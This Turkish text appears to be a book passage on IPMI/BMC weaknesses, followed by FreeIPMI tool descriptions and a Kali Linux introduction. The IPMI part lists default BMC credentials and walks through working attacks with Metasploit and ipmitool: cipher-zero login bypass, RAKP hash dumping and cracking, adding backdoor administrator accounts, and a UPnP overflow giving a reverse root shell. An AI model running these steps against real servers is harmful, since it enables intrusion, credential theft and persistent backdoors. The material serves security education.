[*] 10.0.0.135:623 IPMI-2.0 UserAuth(auth_user, non_null_user) PassAuth(password,<br />
md5, md2, null) Level(1.5, 2.0)<br />
[*] 10.0.0.249:623 IPMI-2.0 UserAuth(auth_user, non_null_user) PassAuth(password,<br />
md5, md2, null) Level(1.5, 2.0)<br />
[*] 10.0.0.252:623 IPMI-2.0 UserAuth(auth_user, non_null_user) PassAuth(password,<br />
md5, md2, null) Level(1.5, 2.0)
Kullanıcı adı ve Şifreler<br />
Bir çok sızma denemesi yapanların bildiği gibi ağ cihazlarına erişimin en<br />
kolay yolu her zaman varsayılan şifrelerle yapılan erişimdir. Aşağıdaki tablo<br />
bilinen bazı markalarda varsayılan BMC kullanıcı adı ve şifrelerini gösterir.<br />
Bunlarda yalnız HP rastgele şifre kullanır.<br />
Ürün Adı Varsayılan Kullanıcı Adı Varsayılan Şifre<br />
HP Integrated Lights Out (iLO)<br />
Dell Remote Access Card<br />
(iDRAC, DRAC)<br />
IBM Integrated Management<br />
Module (IMM)<br />
Fujitsu Integrated Remote<br />
Management Controller<br />
Administrator<br />
root<br />
USERID<br />
admin<br />
<br />
calvin<br />
PASWORD(bir sıfır<br />
ile)<br />
admin<br />
Supermicro IPMI (2.0) ADMIN ADMIN<br />
Oracle/Sun Integrated Lights Out<br />
Manager (ILOM<br />
root<br />
changeme<br />
ASUS iKVM BMC admin admin<br />
Kırılganlığı Çıkartma<br />
Belgenin bu bölümünde yer alan birçok kırılganlıklar Dan Farmer tarafından<br />
IPMI araştırmalarında belirlenmiştir. Daha sonraki araştırmalarda bulunan<br />
başka sonuçlara da yer verilmiştir.<br />
IPMI Şifre Denetimini Chiper 0 ile geçmek<br />
IPMI 2.0 özelliklerinde önemli bir hatayı Dan Farmer belirlemiştir. Özellikle<br />
“Chiper type 0” (Tip 0 şfreleme) istemcinin açık metin şifreleme istediğini<br />
gösteren bir belirticidir. Aslında bu seçim herhangi bir şifreyle girişe olanak<br />
tanır. HP', Dell ve Supermicro BMC'lerde “chiper 0” tanımlıdır. Tüm IPMI 2.0<br />
uyarlamalarında gereken komutla hangi sistemlerde “Chiper 0” olduğu<br />
Metasploit Framework ipmi_chiper_zero modülü ile kolaylıkla bulunabilir.
$ msfconsole<br />
=[ metasploit v4.7.0-dev [core:4.7 api:1.0]<br />
+ -- --=[ 1119 exploits - 638 auxiliary - 179 post<br />
+ -- --=[ 309 payloads - 30 encoders - 8 nops<br />
msf> use auxiliary/scanner/ipmi/ipmi_cipher_zero<br />
msf auxiliary(ipmi_cipher_zero) > set RHOSTS 10.0.0.0/24<br />
msf auxiliary(ipmi_cipher_zero) > run<br />
[*] Sending IPMI requests to 10.0.0.0->10.0.0.255 (256 hosts)<br />
[+] 10.0.0.99:623 VULNERABLE: Accepted a session open request for cipher zero<br />
[+] 10.0.0.132:623 VULNERABLE: Accepted a session open request for cipher zero<br />
[+] 10.0.0.141:623 VULNERABLE: Accepted a session open request for cipher zero<br />
[+] 10.0.0.153:623 VULNERABLE: Accepted a session open request for cipher zero<br />
Aşağıdaki örnek, standart “ipmitool” kullanarak komut satırından nasıl<br />
“chiper 0” sorununu açığa çıkartıldığını göstermektedir. Burada -C 0<br />
kullanılınca daha önce kabul edilmeyen komutun nasıl kullanıldığı<br />
izlenmelidir. Bu saldırı için geçerli bir kullanıcı adı gereklidir. Bu gerekçe hiç<br />
bir yerde de belirtilmez. Bir kez arka kapı hesabı açılınca, BMC ve onun<br />
sunucusuna istenilen sayıda saldırı olasıdır.<br />
$ ipmitool -I lanplus -H 10.0.0.99 -U Administrator -P FluffyWabbit user list<br />
Error: Unable to establish IPMI <strong>v2</strong> / RMCP+ session<br />
Get User Access command failed (channel 14, user 1)<br />
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user<br />
list<br />
ID Name Callin Link Auth IPMI Msg Channel Priv Limit<br />
1 Administrator true false true ADMINISTRATOR<br />
2 (Empty User) true false false NO ACCESS
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user<br />
set name 2 hdm<br />
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user<br />
set password 2 password<br />
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user<br />
priv 2 4<br />
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user<br />
enable 2<br />
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user<br />
list<br />
ID Name Callin Link Auth IPMI Msg Channel Priv Limit<br />
1 Administrator true false true ADMINISTRATOR<br />
2 hdm true false true ADMINISTRATOR<br />
$ ssh hdm@10.0.0.99<br />
hdm@10.0.0.99's password: password<br />
User:hdm logged-in to ILOMXQ3469216(10.0.0.99)<br />
iLO 4 Advanced Evaluation 1.13 at Nov 08 2012<br />
Server Name: host is unnamed<br />
Server Power: On<br />
hpiLO-><br />
IPMI 2.0 RAKP Şifre Denetimi Uzaktan Karışık Şifre Alma<br />
Sonradan Dan Farmer IPMI 2.0 ile daha büyük bir sorunu belirledi. IPMI 2.0<br />
şifre denetimi, istemcide henüz şifre denetimi yapmadan, sunucunun<br />
anahtar sözcüklü SHA1 ya da MD5 karışımını göndermesini zorunlu kıldığını<br />
belirledi. Doğru duydunuz, BMC geçerli her kullanıcı için karıştırılmış şifresini<br />
gönderir. Kaba kuvvet kullanarak bu şifre çevirim dışı ya da sözlük<br />
kullanılarak kolaylıkla kırılır. Bu IPMI özelliklerinin anahtar bölümü<br />
olduğundan kısa zamanda çözülmesi olası değil gibidir. Metasploit<br />
Framework içindeki ipmi_dumphashes modülü bir çok BMC'de kısa süren<br />
işlemlerle sonuca ulaşır.<br />
$ msfconsole<br />
=[ metasploit v4.7.0-dev [core:4.7 api:1.0]<br />
+ -- --=[ 1119 exploits - 638 auxiliary - 179 post<br />
+ -- --=[ 309 payloads - 30 encoders - 8 nops
msf> use auxiliary/scanner/ipmi/ipmi_dumphashes<br />
msf auxiliary(ipmi_dumphashes) > set RHOSTS 10.0.0.0/24<br />
msf auxiliary(ipmi_dumphashes) > set THREADS 256<br />
msf auxiliary(ipmi_dumphashes) > run<br />
[+] 10.0.0.59<br />
root:266ead5921000000....000000000000000000000000000000001404726f6f74:ea<br />
f2bd6a5 3ee18e3b2dfa36cc368ef3a4af18e8b<br />
[+] 10.0.0.59 Hash for user 'root' matches password 'calvin'<br />
[+] 10.0.0.59 :<br />
408ee18714000000d9cc....000000000000000000000000000000001400:93503c1b7<br />
af26abee 34904f54f26e64d580c050e<br />
[+] 10.0.0.59 Hash for user '' matches password 'admin'<br />
Yukarıdaki örnekte, modül iki geçerli kullanıcı adı belirlemiş (root ve boşluk) ve<br />
sha1 karışık şifrelerini de almıştır. Otomatik kırma işlemiyle kelime listesinden<br />
şifreleri çözmüştür. Eğer veri tabanı bağlanmış olursa, Metasploit gelecekte<br />
kullanılmak üzere otomatik olarak karışık şifreleri ve çözümlerini veri tabanına<br />
ekler. Eğer yerel sözlükte şifre bulunmazsa, dışarıdan sağlanan bir programla şifre<br />
kırılır. Aşağıdaki örnekte “John the Ripper” ve “Hashcat” için bilginin nasıl<br />
yazılacağı gösterilmiştir.<br />
msf auxiliary(ipmi_dumphashes) > set RHOSTS 10.0.1.0/24<br />
msf auxiliary(ipmi_dumphashes) > set THREADS 256<br />
msf auxiliary(ipmi_dumphashes) > set OUTPUT_JOHN_FILE out.john<br />
msf auxiliary(ipmi_dumphashes) > set OUTPUT_HASHCAT_FILE out.hashcat<br />
msf auxiliary(ipmi_dumphashes) > run<br />
[+] 10.0.1.100<br />
root:ee33c2e02700000....000000000000000000000000000000001404726f6f74:8c5<br />
76f6532 356cc342591204f41cc4eab7da6e8a<br />
Hashcat'in ana geliştiricisi Atom'a çok teşekkürler. Sürüm 0.46 ya da üstü RAKP<br />
karışık şifrelerini çözmektedir. Özellikleri aldıktan iki saat sonra sorunu çözdüğünü<br />
bildirmekte yarar vardır. Aşağıdaki örnekte RAKP konumunda (7300) “hashcat”<br />
kullanarak bir kaç saniyede 4 harflik şifreyi kaba kuvvetle çözdük.<br />
./hashcat-cli64.bin --username -m 7300 out.hashcat -a 3 ?a?a?a?a<br />
Initializing hashcat v0.46 by atom with 8 threads and 32mb segment-size...
Added hashes from file out.hashcat: 1 (1 salts)<br />
[ ... ]<br />
Input.Mode: Mask (?a?a?a)<br />
Index.....: 0/1 (segment), 857375 (words), 0 (bytes)<br />
Recovered.: 0/1 hashes, 0/1 salts<br />
Speed/sec.: - plains, - words<br />
Progress..: 857375/857375 (100.00%)<br />
Running...: --:--:--:--<br />
Estimated.: --:--:--:--<br />
ee33c2e0270000....000000000000000000000000000000001404726f6f74:8c576f65<br />
32356cc34 2591204f41cc4eab7da6e8a:taco<br />
Yukarıdaki tüm karışık şifreler düzeltilmiştir.<br />
John the Ripper'in “bleeding-jumbo” dalındaki Dhiru Kholia'ya teşekkürler.<br />
RAKP kırmayı destekliyorlar. Bilgisayarınızda “git” kurulu olduğuna emin olun<br />
ve “John the Ripper” derleyin:<br />
$ git clone https://github.com/magnumripper/JohnTheRipper.git<br />
$ cd JohnTheRipper<br />
$ git checkout bleeding-jumbo<br />
$ cd src<br />
$ make linux-x86-64<br />
$ cd ../run<br />
$ ./john --fork=8 --incremental:alpha --format=rakp ./out.john<br />
Loaded 1 password hash (RAKP [IPMI 2.0 RAKP (RMCP+) HMAC-SHA1 32/64<br />
OpenSSL])<br />
Press 'q' or Ctrl-C to abort, almost any other key for status<br />
taco<br />
(10.0.1.100 root)
IPMI Anonymous (Adsız) Şifre Denetimi<br />
Yukarıdaki şifre problemlerine ek olarak, Dan Farmer BMC'lerin “anonymous”<br />
erişime açık olarak gönderildiklerini buldu. Bu yapılandırmada ilk kullanıcı<br />
adının boş dizi ve şifresinin de boşluk olmasıyla anlaşıldı. ipmi_dumphashes<br />
modülü şifre karışımını bulur ve döker (boşluk şifresi de dahildir). Yalnız<br />
başına bu kullanıcı hesabını kullanmak zordur ama “ipmitool” yardımıyla<br />
adlandırılmış bir kullanıcı hesabının şifresini “reset” (yenilemek) diğer<br />
servislere erişmek için yapılabilecek bir işlemdir.<br />
$ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list<br />
ID Name Callin Link Auth IPMI Msg Channel Priv Limit<br />
1 false false true ADMINISTRATOR<br />
2 root false false true ADMINISTRATOR<br />
3 admin true true true ADMINISTRATOR<br />
$ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 password<br />
Bu noktada BMC'ye root şifresiyle SSH üzerinden giriş yapabiliriz.<br />
$ ssh root@10.0.0.97<br />
root@10.0.0.97's password: password<br />
>> SMASH-CLP Console v1.09 <br />
Supermicro IPMI UPnP Kırılganlığı<br />
Supermicro'nun UDP 1900 kapısında IPMI Framework altında bir çok ana kart<br />
için UPnP SSDP dinleyicisi vardır. SMT_X9_218 öncesi sürümler için bu servis<br />
UPnP cihazlarının 1.3.1 sürümünde Inter SDK ile çalışır. Bu sürüm Rapid7'nin<br />
Şubat 2013 kırılm açıklamsına göre Metasploit Framework içindedir. Bu<br />
saldırıya ilişkin en ilginç olan BMC'ye root yetkisiyle erişilmesidir. Bunun<br />
anlamı Yönetici yetkisi olan bir saldırganın tüm ağ üzerinde ya da sunucu<br />
sistemi üzerinde root kabuğuyla çalışmasıdır. Böylece saldırgan Supermicro<br />
BMC sürümünü aşağıya, kırılabilen bir düzeye çeker . Biz kez root erişimi<br />
sağlanınca, açık metin kullanıcı adları dosya sisteminden alınabilir, ek<br />
yazılımlar yüklenebilir ve işletim sistemi yeniden yükleninceye kadar<br />
değişmeyecek arka kapılar BMC'ye eklenebilir.
$ msfconsole<br />
=[ metasploit v4.7.0-dev [core:4.7 api:1.0]<br />
+ -- --=[ 1119 exploits - 638 auxiliary - 179 post<br />
+ -- --=[ 309 payloads - 30 encoders - 8 nops<br />
msf> use exploit/multi/upnp/libupnp_ssdp_overflow<br />
msf exploit(libupnp_ssdp_overflow) > set RHOST 10.0.0.98<br />
msf exploit(libupnp_ssdp_overflow) > set LHOST 10.0.0.55<br />
msf exploit(libupnp_ssdp_overflow) > set PAYLOAD cmd/unix/reverse_openssl<br />
msf exploit(libupnp_ssdp_overflow) > exploit<br />
[*] Started reverse double handler<br />
[*] Exploiting 10.0.0.98 with target 'Supermicro Onboard IPMI (X9SCL/X9SCM) Intel<br />
SDK 1.3.1' with 2106 bytes to port 1900...<br />
[+] Sending payload of 182 bytes to 10.0.0.98:4259...<br />
[*] Command shell session 1 opened (10.0.0.55:4444 -> 10.0.0.98:3688) at 2013-<br />
06-24 13:35:24 -0500<br />
[*] Shutting down payload stager listener...<br />
uname -a<br />
Linux (none) 2.6.17.WB_WPCM450.1.3 #1 Wed Nov 14 10:33:10 PST 2012 armv5tejl<br />
unknown<br />
Supermicro IPMI Açık Metin Şifreleri<br />
IPMI 2.0 özelliklerine göre HMAC tabanlı şifre denetimine BMC yanıtı SHA1 ve<br />
MD5 olmalıdır. Bu şifre denetiminin çok açık zayıflıkları vardır (önceki<br />
örnekte gösterildi). Ama açık metin şifrelere erişime de gereksinimi vardır.<br />
Bununla şifre denetimi karışımını hesaplaması gerekir. BMC açık metin<br />
şifrelerini kaybolmayan bellekte saklar. Supermicro'da üretene göre bu<br />
dosyanın yeri değişir. Ama genelde açık metin şifre /nv/PSBlock ya da<br />
/nv/PSStore dosyalarında saklanır. Şifreler çeşitli ikili kabarcıklar arasına<br />
dağıtılmıştır ama bulmak kolaydır. Çünkü her zaman kullanıcı adını izlerler.<br />
BMC ve diğer cihazlarla aynı şifreyi kullanan üreticiler için bu önemli bir<br />
sorundur.<br />
$ cat /nv/PSBlock<br />
admin ADMINpassword^TT rootOtherPassword!
BMC'den Sunucuyu açma<br />
Bir kez BMC'ye yönetici olarak erişim sağlandıktan sonra, sunucu işletim<br />
sistemine erişmek için bir kaç yöntem kullanılabilir. En sıradan olanı,<br />
BMC'nin KVM işlevini kırıp sunucuyu root kabuğuna düşürmek için yeniden<br />
başlatmak (GRUB içinde init=/usr/bin/sh) ya da kurtarma diski olarak sanal<br />
bir CD-ROM tanımlamak ve sisyemi ondan başlatmaktır. Bir kez sunucunun<br />
diskine ham erişim sağlandı mı arka kapıdan girmek ve diskten veriyi<br />
kopyalamak ya da güvenlikle ilgili herhangi uygun bir şeyi yapmak kolay<br />
olur. Bu yöntemin en kötü tarafı sunucunun yeniden başlatılıyor olmasıdır.<br />
Eğer sunucunun fiziksel konsolu kullanıcı “login” yapmış olarak duruyorsa o<br />
zaman var olan KVM işleviyle o kullanıcıya erişmek kolay olur. Aynı şey seri<br />
konsollar için de geçerlidir. Eğer seri kapıda şifre denetimi yapılmış bir<br />
bağlantı varsa, ipmitool arayüzüyle BMC bu kapının kırılmasına yardımcı<br />
olabilir. Paylaşılan donanıma erişim, hala araştırılması gereken bir durumdur.<br />
Aynı i2c ve Super I/O yongası gibi...<br />
Sunucudan BMC'ye Erişmek
BMC'li sunucunun en tehlikeli olduğu durum; BMC'ye geçmek için yerel<br />
arayüzü arka kapıdan girecek kullanıcı hesabı yaratmak için kullanılmasıdır.<br />
Daha sonra buradan sunucuya sürekli geçiş sağlanır. Bu saldırı için<br />
sunucuda ipmitool kurulu olmalıdır. Sürücüler de BMC destekleyecek<br />
biçimde olmalıdır. Aşağıdaki örnek sunucudaki yerel arayüz (şifre denetimi<br />
gerekmeden) BMC'ye nasıl yeni bir kullanıcı hesabı ekleyebildiği<br />
gösterilmiştir. Bu yöntem Linux, Windows, BSD ve hatta DOS hedefleri için<br />
aynıdır, değişmez.<br />
root@rcon:~# ipmitool user list<br />
ID Name Callin Link Auth IPMI Msg Channel Priv Limit<br />
2 ADMIN true false false Unknown (0x00)<br />
3 root true false false Unknown (0x00)<br />
root@rcon:~# ipmitool user set name 4 backdoor<br />
root@rcon:~# ipmitool user set password 4 backdoor<br />
root@rcon:~# ipmitool user priv 4 4<br />
root@rcon:~# ipmitool user list<br />
ID Name Callin Link Auth IPMI Msg Channel Priv Limit<br />
2 ADMIN true false false Unknown (0x00)<br />
3 root true false false Unknown (0x00)<br />
4 backdoor true false true ADMINISTRATOR<br />
Özet<br />
Burada anlatılanlar yakın zaman kadar pek bilinmeyen, yayımlanmayan<br />
konulardı. IPMI protokolündeki kırılganlığa ek olarak, bir çok BMC de gömülü<br />
cihazların içinde ortak olan sorunlarla doludur. Örneğin varsayılan şifreler ve<br />
değişmeyen şifreleme anahtarları. Bu nedenle BMC dünyası yakın zamanda<br />
düzeltilemeyecek bir karmaşa içindedir. Bilmemiz gereken cihazlarımızın ve<br />
ağlarımızın pek güvende olmadığıdır.
FreeIPMI<br />
FreeIPMI programı IPMI yazılımına uygun giriş ve çıkış komutlarını destekler. IPMI<br />
protokolü platform ve sistem yönetimini sağlayan tanımlardan oluşur. En önemli<br />
konular sensör izleme, sistem olaylarını izleme, güç denetimi ve yerel ağ<br />
üzerindeki seri işlemler olarak özetlenebilir. Aşağıdaki araçlar ve kitaplıklar bu<br />
işlemleri ve daha bir çoğunu anlatır.<br />
Büyük HPC'ler için çevresel izleme ve inceleme araçları da bu pakete eklenmiştir.<br />
Ayrıntılar için http://www.gnu.org/software/freeipmi/documentation.html adresine<br />
bakılabilir.<br />
Proje Araçları<br />
Bmc-info<br />
Cihaz sürüm no, cihaz destek ve geniş anlamdaki tanıtım kodları gibi<br />
BMC bilgilerini okumak için kullanılan bir araçtır.<br />
Bnc-config<br />
Genel anlamda BMC ve IPMI bilgileri ayarlarını yapmak için kullanılan<br />
bir araçtır. Kullanıcı adlarının ayarları, şifreler, ağ bilgileri ve güvenlik<br />
konularını, yerel ağ üzerinde seri işlemleri ve diğer konuları destekler<br />
(Bakınız Ek-4)<br />
Bnc-watchdog<br />
BMC izleme işlemini yapan araç ya da arka plan programıdır. Bu araç<br />
sistemin zaman aşımında yapacaklarını düzenleme ve yönetme<br />
konularını içerir. Sistemin sorunla karşılaştığında yapılacak otomatik<br />
işlemleri tanımlar.<br />
Ipmi-chassis<br />
Şasi işlemlerini (güç ve tanıtım kodu, LED gibi) kontrol eden bir araçtır.<br />
Ipmi-fru<br />
Ana karttaki alanla değiştirilebilen bilgileri okuyabilmek için kullanılan<br />
bir araçtır.
Ipmi-sel<br />
IPMI Sistem olay kayıtlarını okuyabilmek için kullanılan bir araçtır.<br />
Sistem olay kayıtları sorunları çözmek için kullanılabilir.<br />
Ipmi-sensors<br />
IPMI sensör okumalarını ve veri depolarını okuyabilmek için kullanılan<br />
bir araçtır.<br />
Ipmipower<br />
Uzaktan güç kontrolü yapmak için kullanılan bir araçtır.<br />
Ipmiconsole<br />
Yerel ağ üzerinden seri bağlantı ile konsol erişimi için kullanılan bir<br />
araçtır.<br />
Ipmi-raw<br />
IPMI komutlarının onaltılı çıktısını sağlayan bir araçtır.<br />
Ipmi-locate<br />
BMC cihazı hakkında bilgiye erişebilen bir araçtır. Örneğin desteklenen<br />
IPMI sürümünün numarası bu bilgilerden biridir.<br />
Ipmi-pef-config<br />
Platform olay elemesi bilgilerinin (PEF) ayarlarını yapmak için bir<br />
araçtır.<br />
Ipmi-pet<br />
Platform olay tuzaklarını taramak ve yorumlamak için bir araçtır.<br />
Ipmi-chassis-config<br />
IPMI şaşi bilgilerini ayarlamak için bir araçtır. Sistemin başlatılacağı<br />
cihaz, güç yükleme politikası ve diğer şasi işlemlerine ait ayarlar için<br />
kullanılır.
Ipmi-sensors-config<br />
IPMI sensörlerini ayarlamak için kullanılır. Sensör alt sınırlarını, sensör<br />
olaylarını ve diğer sensöre bağlı işlemlerin ayarlarını yapar.<br />
Ipmi-dcmi<br />
Veri merkezi yönetilebilir arayüzü (DCMI) işlemlerini yapan bir araçtır.<br />
Kaynak yönetimi ve güç yönetimiyle ilgili uzantıları destekler.<br />
Bmc-device<br />
Gelişmiş BMC komutlarını yapan bir araçtır. BMC değerlerini yenilemek<br />
(reset) ACPI ayarlamak, SDR/SEL zamanını ayarlamak, olayları elle<br />
yaratmak ve fabrika ayarlarını düzenlemek burada yapılabilen<br />
işlemlerdir.<br />
Ipmiping<br />
IPMI ping aracı program denemelerinde, hata düzeltmede kullanılır.<br />
Rmcpping<br />
RMCP ping aracı da program düzeltme sırasında kullanılır.<br />
Ipmi-oem<br />
OEM'e özel komutlar için kullanılır.<br />
Ipmidetec/Ipmidetectd<br />
IPMI düğüm yakalamak için kullanılan arka plan programı ya da<br />
aracıdır.<br />
Ipmiseld<br />
Bu arka plan program sürekli SEL'i sorgular ve olayları yerel sistem<br />
kayıtlarına ekler.
Proje Kitaplıkları<br />
Libfreeipmi<br />
KCS,SSIF ve OpenIPMI Linux, Solaris BMC sürücüleri, IPMI 1.5 ve IPMI<br />
2.0 LAN iletişim arayüzlerini içeren bir C kitaplığıdır. IPMI<br />
okumak/yönetmek için kullanılan IPMI paket oluşturma programları,<br />
IPMI komut programları bu kitaplıktan yararlanır.<br />
Libipmiconsole<br />
Yerel ağ üzerinden seri bağlantı ile SOL konsol erişimi için kullanılan<br />
kitaplıktır.<br />
Libipmimonitoring<br />
Sensör izleme ve yorumlama için kullanılan bir kitaplıktır. Arayüz türü<br />
ile kullanıcı programlarının oluşmasını sağlar.<br />
Libipmidetect<br />
IPMI düğüm yakalama için kullanılan bir kitaplıktır.<br />
Ayrıntılı IPMI komut ve araçları için Ek-5'e bakınız.
BÖLÜM 7<br />
SALDIRGAN KORUNMA<br />
(KALI LINUX)<br />
Bu konuda http://www.offensive-security.com/ sitesi “Endüstrinin en gerçekçi<br />
sızma testleri Kali-linux ile yapılmaktadır” diye başlıyor. Hatta bu konuda eğitim ve<br />
sertifika bile veriyorlar. Eğitimi alan kişilerin gerçek sızma ortamının derinliklerine<br />
ineceklerini söylüyorlar. Burada saldırgan güvenlik ya da korunma adıyla verilen<br />
hizmet, yüzeysel de olsa, okuyanların bilgisine sunulmaktadır.<br />
BackTrack Linux üzerinde yapılan yedi yıllık çalışma sonunda sızma testlerine<br />
uygun bir linuz dağılımının nasıl yapılacağı deneyimlerle öğrenilmişti.<br />
Eğitim konularına bakıldığında bir ağa ya da <strong>bilgisayar</strong>a yapılacak saldırılarda ne<br />
kadar korunabildiğinin ayrıntılarıyla denetlendiği görülür. Konular başlık olarak<br />
şöyle sıralanabilir:<br />
Kali Linux ile sızma denemeleri:<br />
Ağ yöneticileri ve güvenlik uzmanlarını ilgilendirir. Son “hack” araçlarıyla ve<br />
benzetimleriyle donatılmıştır.<br />
Metasploit sınırlamalarını kaldırma:<br />
Burada tanınmış metasploit iskeletinin eksiklerinin nasıl giderildiği işlenir.<br />
Metasploit'in açık kaynak kod özelliğini bozmadan burada eklenen kodlar<br />
ücretsiz eklenebilir.<br />
Kablosuz saldırlar:<br />
Değişik yapılardaki kablosuz ağlarda etkin saldırının nasıl yapılacağı anlatılır.<br />
Nasıl saldırıldığını bilen yöneticiler en iyi nasıl korunmaları gerektiğini de<br />
çözerler.<br />
Çevreyi kırmak/delmek<br />
Bu iş sızmanın tüm kazançlarını kullanmaktır. Sızma denemeleri sırasında<br />
karşılaşılan sorunlar ele alınır. Bugünkü saldırganların elindekileri nasıl<br />
kullandıkları anlatılır.
Gelişmiş Windows gediklerinden yararlanma<br />
Bir çok gelişmiş konuyu içerir. DEP ve ASLR kaytarmaları (avasion), tepe<br />
noktası dağılması (heap spraying), işlev göstergelerini yenileme (function<br />
pointer overwrite), tampon alan sınırlamaları (buffer space limitations) gibi<br />
Windows gediklerinden yayarlanma ve elle yapılan kabuk kodlardan oluşur.<br />
Gelişmiş Web saldırıları<br />
Gelişmiş Web saldırıları ve gediklerden yararlanma, web uygulamalarının<br />
içine sızmanın nasıl olacağını anlatır. Akıl almaz XSS saldırılarından, yarışma<br />
koşullarındaki gedikleri çıkartma ve gelişmiş SQL ekleme saldırılarına kadar<br />
her tür yöntem anlatılır. Böylece bugünkü Web yazılımlarında korunmanın<br />
nasıl yapılacağı belirlenmiş olur.<br />
Burada sözü edilen eğitimlerin ayrıntıları ilgili siteden sağlanabilir. Hatta bazı<br />
dersler online verildiğinden kayıt yaptırma olanağı da vardır. Burada Kali Linux<br />
hakkında öğrenilenleri anlatılacaktır.<br />
GİRİŞ<br />
Kali Linux Nedir<br />
Kali Linux gelişmiş sızma denemeleri ve güvenlik denetimi dağıtımıdır.<br />
Debian kökenli BackTrack Linux sisteminin yeniden yazılmasıyla oluşmuştur.<br />
300'den çok sızma denemesi:<br />
BackTrack'da var olan ve çalışmayan araçlarla aynı sonucu<br />
üretenler kaldırıldı.<br />
Ücretsizdir:<br />
Kali Linuz ücretsizdir<br />
Açık Kaynak Git ağacı:<br />
Açık kaynak kodu desteklediklerinden tüm ürünlerin kaynak<br />
kodları Git ağacı biçimindedir.<br />
FHS Uyumludur:<br />
Kali Linux FHS (File Hierarcy Standard) uyumludur. Her linux<br />
kullanıcısı ağaç içinde ekleme yapabilir.<br />
Kablosuz ağ desteği<br />
Olabildiğince çok kablosuz ağı desteklemesi sağlanmaya<br />
çalışılmıştır.<br />
Kernel üzerinde son eklemelerin işlenmesi<br />
Sızanlar yeni kablosuz ağ yazılımları eklemek isteyeceklerinden
kernel her zaman son eklentileri işlenmiş biçimdedir.<br />
Güvenli Geliştirme Ortamı<br />
Geliştiriciler güvenilir olup yalnız depolara yazılım yüklerler.<br />
GPG imzalı paketler ve depolar:<br />
Her geliştirici kodunu imzalar, derler ve depolara da imzalayarak<br />
taşır.<br />
Çoklu Dil kullanımı<br />
İngilizcedir ama daha çok kullanıcının kendi dilini kullanması için<br />
birden çok dile olanak tanır.<br />
Tümüyle Kişiselleştirilebilir<br />
Herkesin bu tasarımı beğenmeyeceği düşünülerek, herkesin<br />
isteyebildiği değişikliği yapabilmesine olanak tanıyacak<br />
kolaylıklar eklenmiştir.<br />
ARMEL ve ARMHF desteği<br />
ARM tabanlı sistemler ucuzladıkça, Kali'nin ARM desteği<br />
yapılabildiğince kusursuz olmalıdır. Şu anda Kali aşağıdaki ARM<br />
cihazlarında kullanılabilmektedir:<br />
rk3306 mk/ss808<br />
Raspberry Pi<br />
ODROID U3/X2<br />
Samsung Chromebook<br />
Efika MX<br />
Beaglebone Black<br />
CuBox<br />
Galaxy Note 10.1<br />
Kali Linux Kullanılabilir mi<br />
Sızma denemeleri ve güvenlik denetimi için düzenlenmiş olduğundan<br />
gereksinime göre aşağıdakiler eklenmiştir.<br />
Tek kullanıcılı root erişimlidir: Sızma ve güvenlik denetiminde yetkili<br />
kullanıcının işlem yapması gerekir.<br />
Varsayılan olarak ağ hizmetleri “hizmet dışıdır”. Böylece Kali değişik
hizmetlere erişip kullanabilir ve ilk dağıtım bozulmamış olur.<br />
Kişiselleştirilebilen Linux Sunucu: Kali kablosuz ağ için yamanmış<br />
yukarıya dönük kernel kullanır.<br />
Kali sızma ve güvenlik amaçlı hazırlanmış bir Linux olduğundan normal linux<br />
gibi kullanılmaz.<br />
Kali Linux kullanıcı adı ve şifresi<br />
Varsayılan olarak root kullanıcısı şifresi “toor” olarak tanımlanmıştır.<br />
KALİ İNDİRME<br />
İndirilecek Kali sürümleri<br />
Kali Linux başlatılabilen 32 ve 64 bitlik ISO dosyaları biçimindedir.<br />
Kali VMWare araçlarıyla kullanılabilecek biçimdedir.<br />
Kali “ARM image” biçimdedir.<br />
İndirilen dosyalarda SHA1 denetimi yapılmalıdır. Dosyalar aşağıdaki gibi<br />
indirilir:<br />
$ wget -q -O - http://archive.kali.org/archive-key.asc | gpg --import<br />
# or<br />
$ gpg --keyserver subkeys.pgp.net --recv-key 44C6513A8E4FB3D30875F758ED444FF07D8D0BF6<br />
$ gpg --verify SHA1SUMS.gpg SHA1SUMS<br />
gpg: Signature made Thu Mar 7 21:26:40 2013 CET using RSA key ID 7D8D0BF6<br />
gpg: Good signature from "Kali Linux Repository "<br />
Linux için SHA1 denetimi<br />
$ sha1sum kali-linux-1.0-i386.iso<br />
796e32f51d1bf51e838499c326c71a1c952cc052 kali-linux-1.0-i386.iso<br />
$ grep kali-linux-1.0-i386.iso SHA1SUMS<br />
796e32f51d1bf51e838499c326c71a1c952cc052 kali-linux-1.0-i386.iso<br />
grep kali-linux-1.0-i386.iso SHA1SUMS | sha1sum -c<br />
kali-linux-1.0-i386.iso: OK<br />
OSX için SHA1 denetimi<br />
$ shasum kali-linux-1.0-i386.iso<br />
796e32f51d1bf51e838499c326c71a1c952cc052 kali-linux-1.0-i386.iso<br />
$ grep kali-linux-1.0-i386.iso SHA1SUMS<br />
796e32f51d1bf51e838499c326c71a1c952cc052 kali-linux-1.0-i386.iso<br />
Windows ortamında SHA1 denetimi yoktur. Dışarıdan yazıım yükleyip denetim yapılabilir.
Canlı Kali ISO dosyası üretmek<br />
Eğer bir Kali ortamınız varsa oradan yensini üretebilirsiniz ama yoksa<br />
aşağıdaki adımları izlemek gerekir:<br />
apt-get install git live-build cdebootstrap kali-archive-keyring<br />
git clone git://git.kali.org/live-build-config.git<br />
cd live-build-config<br />
lb config<br />
config/package-lists/kali.list.chroot dosyası Kali ISO içine alınacak paketleri belirler. Özel<br />
paketlerin yüklenmesi istenebilir. Burada Kali masaüstü ortamı değiştirilebilir (KDE, Gnome,<br />
XFCE, LXDE gib)<br />
hooks/ Canlı Kali ISO üretilirken kullanılacak kodlar buaraya konabilir.<br />
$ cat config/hooks/forensic-menu.binary<br />
#!/bin/sh<br />
cat >>binary/isolinux/live.cfg
apt-get install apt-cacher-ng<br />
/etc/init.d/apt-cacher-ng start<br />
export http_proxy=http://localhost:3142/<br />
.... # setup and configure your live build<br />
lb build<br />
Kişiselleştirilmiş Kali Linux yapma<br />
Güncel Kali ISO yaratma<br />
